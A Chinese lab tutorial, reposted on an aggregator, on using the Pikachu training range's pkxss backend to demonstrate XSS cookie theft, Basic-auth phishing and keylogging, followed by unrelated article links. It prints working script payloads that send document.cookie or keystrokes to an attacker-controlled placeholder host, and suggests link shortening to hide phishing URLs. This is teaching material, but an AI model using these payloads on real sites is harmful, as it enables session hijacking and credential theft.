使用pikachu管理工具下的XSS后台进行实战

写在前面的重要提示:

Attention技术没有好坏之分,关键在于使用技术的人或组织。网络安全技术是一把双刃剑 – 作为网络安全人,虽然无法控制头上的帽子是否会变绿,但能控制不让它变黑;无论我们在物质上面对多大的诱惑或是面对多么艰难的窘境,精神上一定不要放弃最初成为顶级白帽的理想。一路走来,我们不一定能用自己所掌握的技术促进网络安全事业的进步与发展,但一定不要且不能站在网络安全事业发展的对立面。

Warning:本文仅限于技术交流,禁止一切利用本文涉及的技术进行违法犯罪活动。如有违者,后果自负。且笔者建议各位网络安全从业者,熟读且背诵我国网络安全相关法律法规,这也是对自己职业生涯负责的行为。

一:pikachu管理工具下的XSS后台简介

     pikachu管理工具下的XSS后台是一个通过Cookie窃取和利用、钓鱼攻击、键盘行为记录这三个实战型实验来帮助学习者理解XSS漏洞的原理和危害的一个平台。旨在帮助学习者在实战中深入理解理论,从而可以更好的防御XSS漏洞。

Xss后台登录页面:

                   

Xss后台主页面:

                

二:XSS后台的启动

方式一:直接进入pikachu靶场的管理工具模块 —> 进入XSS后台。(第一次使用需要先创建数据库)

方式二:XSS后台在pikachu靶场文件中是一个独立的文件:pkxss。若不想部署整个pikachu靶场,可以把pkxss文件单独部署在攻击主机中,单独搭建XSS后台。(如:笔者部署在虚拟机的PHPstudy中 – 部署方式和部署靶场一致,不了解的读者可以看笔者关于靶场部署的文章)

三:实战型实验演示

  • Cookie窃取

GET型:

原理图:

第一步:修改配置文件

1)进入pkxss目录找到xcookie,打开cookie.php文件修改配置。(E:\phpstudy_pro\WWW\Test\pkxss\xcookie\cookie.php)。

修改框中的URL:这个URL地址表示重定向到一个可信任的IP地址,换句话说就是被攻击者促发攻击代码受到攻击时页面跳转(刷新)至这个URL地址,这样做的目的是在攻击时造成的网页跳转可以减少甚至消除被攻击者的怀疑。(笔者将pikachu部署在本地的PHPstudy中:E:\phpstudy_pro\WWW\Test\pikachu-master,这个RUL的意思是:在受到攻击时,页面跳转到pikachu靶场的主页)。

第二步:构造攻击代码

1)构造一段获取cookie的攻击代码,并将代码通过XSS漏洞注入到被攻击主机可能浏览并存在XSS漏洞的站点,等待攻击成功。

这里为了帮助读者们理解,使用pikachu靶场的XSS存储型漏洞进行演示。

  1. 查看XSS平台下Cookie获取模块是否由历史数据。

(2)构造攻击代码:<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>

(注意:攻击代码中http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php页面,代表当用户触发到攻击代码时,攻击代码运行收集到用户的Cookie,并将Cookie发送给这个URL页面。当然,这个URL是受攻击者控制的)

第三步:将代码通过输入框或网页URL注入到页面中

注意:由于注入框设置了字符输入限制,需要先打开代码调式工具(右击—>检查),将字符输入限制更改

第四步:查看记录

POST型:

              

原理:

     POST型和GET型基本原理大差不差,主要的不同在于参数的提交方式是表单提交,不能通过URL进行参数提交,因此攻击者无法通过URL的方式将恶意代码嵌入。所以,攻击者需要构造一个Form表单,当用户点击攻击者的表单连接,用户就替攻击者发送一个提交请求,之后的攻击步骤就和GET型一致了。

第一步:构造Form表单

1)修改配置

     修改pkxss目录下的文件: pkxss/xcookie/post.html

  1. 将用户服务器IP地址和文件路径填入白框:如:http://pikachu/pkxss/xcookie/pkxss_cookie_result.php
  2. 将攻击者所控制的机器IP和文件路径填入黄框:http://pikachu/pkxss/xcookie/cookie.php

第二步:登录页面,在攻击框内输入攻击代码(步骤和GET型一致):<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>

     

第三步:查看攻击结果:

  • 钓鱼攻击

钓鱼攻击的思路:攻击者向用户端发送一个经过处理的链接请求,用户点击链接后会给攻击者提前搭建好的后台发出一个请求,后台收到请求后会返回一个身份信息验证的Basic头部给用户端,若用户安全意识不够,输入了敏感信息:用户名和密码。这些信息就会被发送到攻击者控制的XSS后台。

第一步:配置文件

     配置pkxss/xfish目录的fish.php文件:将图片红框中的信息配置为攻击者所控制的获取被攻击者信息的文件的后台地址:如:http://pikachu/pkxss/xfish/xfish.php(笔者本地pikachu XSS后台管理平台地址)

第二步:构造钓鱼攻击链接

注意:钓鱼的后台有个接口(xfish.php)获取远程的数据,通过get方式去获取账号密码存到库里。文件地址:pikachu/pkxss/xfish/xfish.php

构造一个可以访问攻击者所控制的后台并且能返回Basic认证的链接,也可以是a标签、img标签、script标签等。

注意:为了让构造的钓鱼链接不让被攻击者发现,可以使用相应的链接处理工具对链接进行处理。

链接处理平台:http://tools.jb51.net/password/dwzcreate

如:

链接1: http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php

平台处理之后:http://mrw.so/6oy3Hb

链接2:<img src="http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php"></img>

链接3:<script src="http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php"></script>

第三步:使用pikachu靶场测试

1)将构造的钓鱼链接嵌入pikachu靶场,点击提交,弹出输入框。

                                 

 2)输入用户名:北冥同学;密码:123456。点击登录。

第四步:查看后台结果

  • 获取键盘记录

获取键盘记录攻击原理:利用XSS漏洞将攻击代码注入到页面,当被攻击者访问该页面,其在该页面的任何操作将被记录,同时攻击代码将把记录发送至攻击者所控制的后台。

第一步:修改配置

1)将pikachu靶场文件目录下的pkxss/ rkeypress/rk.js。如图中红框中内容替换为攻击者所控制的获取被攻击者键盘记录的文件的后台地址。如:http://pikachu/pkxss/rkeypress/rkserver.php

2)修改rkserver.php文件(路径:pkxss/rkeypress/rkserver.php)。

       

将是否允许跨域访问设置为:所有。【关于浏览器跨域访问的知识分析,可查看笔者博文: 】

第二步:构造攻击代码

<script src= "http://xxx.xxx.xxx/Pikachu-master/pkxss/rkeypress/rk.js"></script>

第三步:利用pikachu靶场验证

    1.将攻击代码注入存在XSS漏洞的页面,等待被攻击者访问该页面。

                        

    2.被攻击用户访问该页面,并添加评论:北冥同学,触发攻击。

                                    

    3.进入XSS后台查看被攻击键盘记录。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/15311.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

redis主从复制哨兵Cluster

目录 前言 一、模式介绍 1.1 主从复制 1.2 哨兵 1.3 集群 二、主从复制 2.1 主从复制的作用 2.2 主从复制流程 2.3 搭建Redis 主从复制 三、Redis 哨兵模式 3.1 哨兵模式原理 3.2 哨兵模式的作用 3.3 哨兵组成结构 3.4 哨兵故障转移机制 3.5 搭建Redis 哨兵模式…

史上最全react面试题

react面试题 react生命周期面试题1.react 生命周期函数2.react生命周期中&#xff0c;最适合与服务端进行数据交互的是哪个函数3.运行阶段生命周期调用顺序4.shouldComponentUpdate 是做什么的&#xff0c;&#xff08;react 性能优化是哪个周期函数&#xff1f;&#xff09;5.…

..\obj\project.assets.json”。运行 NuGet 包还原以生成此文件。

问题 有时拉取一个新的项目后出现&#xff0c;如标题中的问题&#xff0c;不管用的是Vs 还是Rider都有可能出现&#xff1b;当使用IDE的自动还原生成相关文件时&#xff0c;没有效果&#xff0c;一般第一次打开项目时IDE是会自动生成的。 解决办法 dotnet msbuild -t:restor…

科技项目验收测试:验证软件产品功能与性能的有效手段

科技项目验收测试是验证软件产品功能与性能的重要手段&#xff0c;在项目开发中起到了至关重要的作用。本文将从产品质量、需求验证、性能测试等方面&#xff0c;探讨科技项目验收测试的有效手段。 1、产品质量保证是验收测试的核心 科技项目验收测试的核心目标是验证软件产品…

开发基于 LoRaWAN 的设备--低功耗设备电池的选项

电池选型简介 在开发物联网 (IoT) 应用无线设备时,选择电池具有挑战性,但对于成功至关重要。使用 LoRaWAN 传感器时,请考虑外形尺寸、容量、峰值电流、自放电、产品寿命和成本,所有这些都会影响您选择的电池。 本文档可帮助您选择最适合您的应用的电池。该文件还: 帮助您确…

xshell连接Windows中通过wsl安装的linux子系统-Ubuntu 22.04

xshell连接Windows中通过wsl安装的linux子系统-Ubuntu 22.04 一、安装linux子系统 1.1、 启动或关闭Windows功能-适用于Linux的Windows子系统 1.2 WSL 官方文档 使用 WSL 在 Windows 上安装 Linux //1-安装 WSL 命令 wsl --install//2-检查正在运行的 WSL 版本&#xff1a;…

关于在VS2017中编译Qt项目遇到的问题

关于在VS2017中编译Qt项目遇到的问题 【QT】VS打开QT项目运行不成功 error MSB6006 “cmd.exe”已退出,代码为 2。如何在VS2017里部署的Qt Designer上编辑槽函数 【QT】VS打开QT项目运行不成功 error MSB6006 “cmd.exe”已退出,代码为 2。 链接 如何在VS2017里部署的Qt Design…

10.python设计模式【代理模式】

内容&#xff1a;为其他对象提供一种代理一控制对这个对象的访问 应用场景&#xff1a; 远程代理&#xff1a; 为远程的对象提供代理虚代理&#xff1a;根据需要创建很大的对象保护代理&#xff1a;控制对原始对象的访问&#xff0c;用于对象有不同访问权限时 UML图 举个例…

VUE,子组件给父组件传递参数,props 自定义属性,ref

<template><div><!-- 子传父 --><!-- 通过父组件给子组件传递函数类型的props实现&#xff1a;子给父传递数据 --><AA :getAAname"getAAname"/><h1>AA&#xff1a;{{aaname}}</h1><!-- 通过父组件给子组件绑定一个自定…

WIZnet W6100-EVB-Pico DHCP 配置教程(三)

前言 在上一章节中我们讲了网络信息配置&#xff0c;那些网络信息的配置都是用户手动的去配置的&#xff0c;为了能跟电脑处于同一网段&#xff0c;且电脑能成功ping通板子&#xff0c;我们不仅要注意子网掩码&#xff0c;对于IP地址主机位和网络位的划分&#xff0c;而且还要注…

selenium定位元素的方法

Selenium可以驱动浏览器完成各种操作&#xff0c;比如模拟点击等。要想操作一个元素&#xff0c;首先应该识别这个元素。人有各种的特征&#xff08;属性&#xff09;&#xff0c;我们可以通过其特征找到人&#xff0c;如通过身份证号、姓名、家庭住址。同理&#xff0c;一个元…

前端框架学习-Vue(三)

目录 初识VueVue模板语法数据绑定el和data的两种写法事件的基本使用$emit在子组件中定义方法&#xff0c;执行父组件的方法 Vue中的事件修饰符&#xff1a;键盘事件计算属性监视属性条件渲染列表渲染表单数据收集过滤器 笔记内容来自&#xff1a;尚硅谷Vue2.0Vue3.0全套教程丨v…

【unity】Pico VR 开发笔记(基础篇)

Pico VR 开发笔记(基础篇) XR Interaction Tooikit 版本 2.3.2 一、环境搭建 其实官方文档已经写的很详细了&#xff0c;这里只是不废话快速搭建&#xff0c;另外有一项官方说明有误的&#xff0c;补充说明一下&#xff0c;在开发工具部分说明 插件安装——安装pico的sdk和XR…

删掉一个元素以后全为 1 的最长子数组

给你一个二进制数组 nums &#xff0c;你需要从中删掉一个元素。 请你在删掉元素的结果数组中&#xff0c;返回最长的且只包含 1 的非空子数组的长度。 如果不存在这样的子数组&#xff0c;请返回 0 。 提示 1&#xff1a; 输入&#xff1a;nums [1,1,0,1] 输出&#xff1…

职责链模式——请求的链式处理

1、简介 1.1、概述 很多情况下&#xff0c;在一个软件系统中可以处理某个请求的对象不止一个。例如SCM系统中的采购单审批&#xff0c;主任、副董事长、董事长和董事会都可以处理采购单&#xff0c;他们可以构成一条处理采购单的链式结构。采购单沿着这条链进行传递&#xff…

编程小白的自学笔记十二(python爬虫入门四Selenium的使用实例二)

系列文章目录 编程小白的自学笔记十一&#xff08;python爬虫入门三Selenium的使用实例详解&#xff09; 编程小白的自学笔记十&#xff08;python爬虫入门二实例代码详解&#xff09; 编程小白的自学笔记九&#xff08;python爬虫入门代码详解&#xff09; 目录 系列文章…

指针应用基础练习

&#xff08;1&#xff09;一级指针&#xff0c;二级指针 void getString(char **p) {*p "hello world"; }int main(void) {char *str NULL;getString(&str);printf("%s\n", str); } 代码分析&#xff1a; 定义了一个char型指针str&#xff0c;…

uni-app踩坑记

打包h5如何配置域名&#xff1a; 在manifest.json中配置域名 配置完成后无论是测试环境还是正式环境都带上/mobile/&#xff0c;否则会报错404 如何引入调试工具erada: 在默认的index.html中直接引入erada&#xff0c;页面样式会整个错乱&#xff0c;解决方案就是引入官方…

信号槽中的函数重载

信号槽中的函数重载 QT4的方式QT5的方式函数指针重载函数QT5信号函数重载解决方案 总结 QT4的方式 Qt4中声明槽函数必须要使用 slots 关键字, 不能省略。 信号函数&#xff1a; 槽函数&#xff1a; mainwondow: cpp文件&#xff1a; #include "mainwindow.h"…

WebSocket协议解析

文章目录 概要一、WS原理1.1、帧格式 二、WS实战2.1、客户端发起协议升级请求2.2、服务端响应协议升级2.3、核心事件2.4、心跳保活 三、总结 概要 项目中的IM系统是基于WebSocket做的&#xff0c;所以这里聊一下。 说到WS&#xff0c;不得不提HTTP,HTTP是基于TCP&#xff0c;面…